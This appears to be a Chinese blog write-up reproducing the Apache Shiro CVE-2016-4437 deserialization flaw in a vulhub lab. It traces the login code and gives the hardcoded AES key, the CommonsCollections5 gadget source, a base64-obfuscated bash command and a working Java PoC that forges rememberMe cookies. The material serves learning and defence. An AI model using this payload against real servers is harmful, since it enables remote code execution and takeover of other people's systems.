[CVE-2016-4437] Apache Shiro 安全框架反序列化漏洞复现与原理详细分析


0x01 前言:

Apache Shiro是一个强大且易用的 Java安全框架,执行身份验证、授权、密码和会话管理。shiro 相比于 springsecurity 简单许多,官方号称 10 分钟就能学会。shiro 反序列化漏洞是 Java 经典漏洞,于2016年被挖掘出来,到现在依旧很多系统存在该漏洞,非常值得学习,对加深 shiro 认证机制的理解以及java代码审计颇有帮助。本文针对Shiro进行了一个原理性的讲解,从源码层面来分析了Shiro的认证和授权的整个流程,说明rememberme的作用,以及为何该字段会导致反序列化漏洞。


0x02 Shiro 登录认证流程图:

在这里插入图片描述


0x02 版本范围:

Shiro <= 1.2.5


0x03 Shiro 登录验证流程调试分析:

Shiro 环境来自 vulhub。 我们先正常输入账号密码登录,断点调试分析Shiro整个登录过程做了什么操作。

  • 输入正确的账号密码 (admin, vulhub) 登录,getSubject 获取一个没有绑定具体用户的空用户主体,账号密码写入 UsernamePasswordToken,subject.login() 开始进行账号密码验证登录。
    在这里插入图片描述
    在这里插入图片描述

  • 步入 login 方法,可以看到 securityManager.login(this, token) 通过 token (账号密码) 去登录验证获取具体用户主体 subject。
    在这里插入图片描述

    SecurityManager是Shiro框架的核心, Shiro通过 SecurityManager 来管理内部组件实例,并通过它来提供安全管理的各种服务。 SecurityManager 主要对账号、权限及身份认证进行设置和管理。在这里插入图片描述
    SecurityManager继承了接口Authorizer(认证器),SessionManager(会话管理器),Authenticator(授权器) 。

  • 跟进 login 方法,调用 Authorizer 接口的 authenticate 方法, 验证 AuthenticationToken 参数,如果验证成功,返回具体用户主体实例(Subject)表示经过身份验证的帐户的身份。如果AuthenticationToken 有问题,验证失败,则抛出 AuthenticationException。
    在这里插入图片描述

  • 继续跟进,token表示主体(用户)的登录主体和凭证,返回引用认证用户的帐户数据AuthenticationInfo。如果在身份验证过程中有任何问题,抛出 AuthenticationException 。
    在这里插入图片描述

  • 继续跟进,getRealms()获取Realm集合,如果realm只有一个,走的是doSingleRealmAuthentication方法,如果有多个,走的是doMultiRealmAuthentication方法。如下图:我们只创建了 Realm (MainRealm), 所以走 doSingleRealmAuthentication 方法获取身份验证信息。
    在这里插入图片描述
    在这里插入图片描述

  • 继续跟进,最后到了我们自己自定义账号密码匹配逻辑,匹配成功以后实例化 SimpleAuthenticationInfo 并返回。
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述

  • 用户账号密码匹配成功,一路返回到 AbstractAuthenticator.java#login, 当执行完 Subject loggedIn = createSubject(token, info, subject) 后,可以看到先前未绑定具体用户的 subject 现在已经绑定了具体用户 admin 。
    在这里插入图片描述

  • 继续跟进,在 AbstractAuthenticator.java#login 方法中对onSuccessfulLogin(token, info, loggedIn) 下断点,观察登录成功后进行了什么操作。如下代码逻辑可以看出,先判断securityManager 是否配置了 cookieRememberMeManager,如果存在,则下一步去判断前端是否表明了需要记住我(rememberme), isRememberMe(token) 为 true 说明需要记住我,然后执行 rememberIdentity(subject, token, info) 进行记住当前身份操作。
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述

  • 进入 rememberIdentity(subject, token, info),首先获取需要记住的用户主体信息,然后对 PrincipalCollection 实例对象进行序列化,getCipherService() 获取加密服务,进行AES加密,最后返回加密后的字节数组。
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述

  • 跟进 encrypt(bytes),可以看到调用 getEncryptionCipherKey() 获取秘钥字节数组进行AES加密,一路反向溯源发现原始秘钥字符串为 kPH+bIxk5D2deZiIxcaaaA==
    在这里插入图片描述
    在这里插入图片描述

  • 通过秘钥对数据进行加密,得到加密后字节数组,回到 AbstractRememberMeManager.java#rememberIdentity, 在 rememberSerializedIdentity(subject, bytes) 打断点,跟进可以看到对加密后的字节数组进行了 base64 编码,并保存进 cookie中,后面返回给前端进行保存。
    在这里插入图片描述在这里插入图片描述

  • 整个登录验证流程基本完成。用户关闭浏览器,在 rememberMe 指定过期时间内打开浏览器并访问相关接口服务时就无需再登录,可以正常访问服务。
    在这里插入图片描述

小结:分析完整个登录验证的代码执行过程后,其实就很容易想到一个安全问题。生成 rememberMe 信息时进行了序列化操作,有序列化,并有反序列化过程,且加解密秘钥使用的硬编码,我们完全可以伪造 rememberMe 的信息,触发反序列化漏洞,进而控制服务器。


0x04 复现漏洞:

1、 服务端接收rememberMe的cookie值后的操作是:Cookie中rememberMe字段内容 —> Base64解密 —> 使用密钥进行AES解密 —>反序列化,我们要构造 poc 就需要先序列化数据然后再AES加密最后base64编码。
2、由于上述 shirodemo 存在 commons-collections 3.2.1 依赖, 所以可使用 CommonsCollections5 利用链, 借助 ysoserial 指定CommonsCollections5 生成序列化数据。(后续会写一些反序列化利用链原理与挖掘文章,现在先将就用 ysoserial 生成)

1、CommonsCollections5 利用链如下:

	Gadget chain:
        ObjectInputStream.readObject()
            BadAttributeValueExpException.readObject()
                TiedMapEntry.toString()
                    LazyMap.get()
                        ChainedTransformer.transform()
                            ConstantTransformer.transform()
                            InvokerTransformer.transform()
                                Method.invoke()
                                    Class.getMethod()
                            InvokerTransformer.transform()
                                Method.invoke()
                                    Runtime.getRuntime()
                            InvokerTransformer.transform()
                                Method.invoke()
                                    Runtime.exec()

2、ysoserial 指定 CommonsCollections5 利用链生成序列化数据的源代码如下:

package ysoserial.payloads;

import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.util.HashMap;
import java.util.Map;

import javax.management.BadAttributeValueExpException;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.JavaVersion;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;

@SuppressWarnings({"rawtypes", "unchecked"})
@PayloadTest ( precondition = "isApplicableJavaVersion")
@Dependencies({"commons-collections:commons-collections:3.1"})
@Authors({ Authors.MATTHIASKAISER, Authors.JASINNER })
public class CommonsCollections5 extends PayloadRunner implements ObjectPayload<BadAttributeValueExpException> {

	public BadAttributeValueExpException getObject(final String command) throws Exception {
		final String[] execArgs = new String[] { command };
		// inert chain for setup
		final Transformer transformerChain = new ChainedTransformer(
		        new Transformer[]{ new ConstantTransformer(1) });
		// real chain for after setup
		final Transformer[] transformers = new Transformer[] {
				new ConstantTransformer(Runtime.class),
				new InvokerTransformer("getMethod", new Class[] {
					String.class, Class[].class }, new Object[] {
					"getRuntime", new Class[0] }),
				new InvokerTransformer("invoke", new Class[] {
					Object.class, Object[].class }, new Object[] {
					null, new Object[0] }),
				new InvokerTransformer("exec",
					new Class[] { String.class }, execArgs),
				new ConstantTransformer(1) };

		final Map innerMap = new HashMap();

		final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

		TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");

		BadAttributeValueExpException val = new BadAttributeValueExpException(null);
		Field valfield = val.getClass().getDeclaredField("val");
        Reflections.setAccessible(valfield);
		valfield.set(val, entry);

		Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain

		return val;
	}

	public static void main(final String[] args) throws Exception {
		PayloadRunner.run(CommonsCollections5.class, args);
	}

    public static boolean isApplicableJavaVersion() {
        return JavaVersion.isBadAttrValExcReadObj();
    }

}

执行命令:java -jar .\ysoserial-all.jar CommonsCollections5 "bash -c {echo,ZWNobyBUaGUgc2VydmVyIGhhcyBiZWVuIGhhY2tlZCA+IHdhcm5pbmcudHh0}|{base64,-d}|{bash,-i}
含义:指定 CommonsCollections5 利用链生成可执行 echo The server has been hacked > warning.txt 命令的序列化数据。

为什么要写成 bash -c {echo,ZWNobyBUaGUgc2VydmVyIGhhcyBiZWVuIGhhY2tlZCA+IHdhcm5pbmcudHh0}|{base64,-d}|{bash,-i},而不是直接写 echo The server has been hacked > warning.txt
原因:当命令中包含重定向 ’ < ’ ’ > ’ 和管道符 ’ | ’ 时,需要进行 base64 编码绕过。具体看参考这篇文章:绕过exec获取反弹shell

// exec(String command)
public Process exec(String command) throws IOException {
    return exec(command, null, null);
}
...
public Process exec(String command, String[] envp, File dir)
    throws IOException {
    if (command.length() == 0)
        throw new IllegalArgumentException("Empty command");

    StringTokenizer st = new StringTokenizer(command);
    String[] cmdarray = new String[st.countTokens()];
    for (int i = 0; st.hasMoreTokens(); i++)
        cmdarray[i] = st.nextToken();
    return exec(cmdarray, envp, dir);
}
...
// exec(String cmdarray[])
public Process exec(String cmdarray[]) throws IOException {
    return exec(cmdarray, null, null);
}

3、编写 POC 生成 Payload:

在这里插入图片描述

package shiro;

import java.io.*;
import org.apache.shiro.codec.Base64;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;

public class ShiroPoc {

    private static String KEY = "kPH+bIxk5D2deZiIxcaaaA==";
    private static String gadget = "CommonsCollections5";
    private static String cmd = "bash -c {echo,ZWNobyBUaGUgc2VydmVyIGhhcyBiZWVuIGhhY2tlZCA+IHdhcm5pbmcudHh0}|{base64,-d}|{bash,-i}";

    public static byte[] exec(String cmd) {
        Process process = null;

        try {
            if (File.separator.equals("/")) {
                process = Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", cmd});
            } else {
                process = Runtime.getRuntime().exec(new String[]{"cmd.exe", "/C", cmd});
            }
        } catch (IOException var6) {
            var6.printStackTrace();
        }

        InputStream in1 = process.getInputStream();
        byte[] stdout = inputStreamToBytes(in1);
        InputStream in2 = process.getErrorStream();
        byte[] stderr = inputStreamToBytes(in2);
        return stdout.length != 0 ? stdout : stderr;
    }

    public static byte[] inputStreamToBytes(InputStream in) {
        ByteArrayOutputStream baos = null;

        Object var3;
        try {
            baos = new ByteArrayOutputStream();
            byte[] bytes = new byte[1024];

            int len;
            while((len = in.read(bytes)) != -1) {
                baos.write(bytes, 0, len);
            }

            byte[] result = baos.toByteArray();
            byte[] var5 = result;
            return var5;
        } catch (IOException var15) {
            var3 = null;
        } finally {
            try {
                if (baos != null) {
                    baos.close();
                }

                if (in != null) {
                    in.close();
                }
            } catch (IOException var14) {
                var14.printStackTrace();
            }

        }

        return (byte[])var3;
    }

    public static void main(String[] args) throws IOException {
        String result = "java -jar \""+"src\\main\\java\\shiro\\ysoserial.jar\" "+ gadget+ " \"" + cmd + "\"";
        byte[] ans = exec(result);
        AesCipherService aes = new AesCipherService();
        byte[] key = Base64.decode(KEY);

        ByteSource ciphertext = aes.encrypt(ans, key);
        BufferedWriter out = new BufferedWriter(new FileWriter("src\\main\\java\\shiro\\rememberMe.txt"));
        out.write(ciphertext.toBase64());
        out.close();
    }
}

4、验证漏洞:

在这里插入图片描述
在这里插入图片描述
验证成功,漏洞复现成功。


  • 4
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

m0rta1

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值